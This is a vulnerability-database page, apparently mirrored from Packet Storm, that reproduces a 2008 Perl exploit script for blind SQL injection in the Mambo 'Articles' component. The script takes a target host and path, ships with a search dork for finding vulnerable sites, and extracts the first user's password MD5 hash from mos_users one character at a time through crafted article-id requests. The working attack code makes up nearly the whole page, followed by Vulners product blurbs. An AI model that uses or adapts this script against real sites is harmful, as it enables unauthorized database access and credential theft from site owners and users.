Lucene search
K

mamboarticles-sql.txt

🗓️ 25 Jun 2008 00:00:00Reported by Ded MustD!eType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

This Perl script exploits a SQL injection vulnerability in the Mambo Component Articles. It retrieves the MD5 hash of the password for the first user in the system

Code
`#!/usr/bin/perl  
use LWP::UserAgent;  
use Getopt::Long;  
  
if(!$ARGV[1])  
{  
print " \n";  
print " #######################################################################\n";  
print " # Mambo Component Articles Blind SQL Injection Exploit #\n";  
print " # Author:Ded MustD!e [www.antichat.ru] #\n";  
print " # #\n";  
print " # Dork : inurl:option=articles artid #\n";  
print " # Usage: perl exploit.pl host path <options> #\n";  
print " # Example: perl exploit.pl www.host.com /joomla/ -a 2 #\n";  
print " # #\n";  
print " # Options: #\n";  
print " # -a valid Article id #\n";  
print " #######################################################################\n";  
exit;  
}  
  
my $host = $ARGV[0];  
my $path = $ARGV[1];  
my $userid = 1;  
my $aid = $ARGV[2];  
  
my %options = ();  
GetOptions(\%options, "u=i", "p=s", "a=i");  
  
print "[~] Exploiting...\n";  
  
if($options{"u"})  
{  
$userid = $options{"u"};  
}  
  
if($options{"a"})  
{  
$aid = $options{"a"};  
}  
  
syswrite(STDOUT, "[~] MD5-Hash: ", 14);  
  
for(my $i = 1; $i <= 32; $i++)  
{  
my $f = 0;  
my $h = 48;  
while(!$f && $h <= 57)  
{  
if(istrue2($host, $path, $userid, $aid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
if(!$f)  
{  
$h = 97;  
while(!$f && $h <= 122)  
{  
if(istrue2($host, $path, $userid, $aid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
}  
}  
  
print "\n[~] Exploiting done\n";  
  
sub istrue2  
{  
my $host = shift;  
my $path = shift;  
my $uid = shift;  
my $aid = shift;  
my $i = shift;  
my $h = shift;  
  
my $ua = LWP::UserAgent->new;  
my $query = "http://".$host.$path."index.php?option=articles&task=viewarticle&artid=".$aid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1),".$i.",1))=".$h."";  
  
if($options{"p"})  
{  
$ua->proxy('http', "http://".$options{"p"});  
}  
  
my $resp = $ua->get($query);  
my $content = $resp->content;  
my $regexp = "Back";  
  
if($content =~ /$regexp/)  
{  
return 1;  
}  
else  
{  
return 0;  
}  
  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation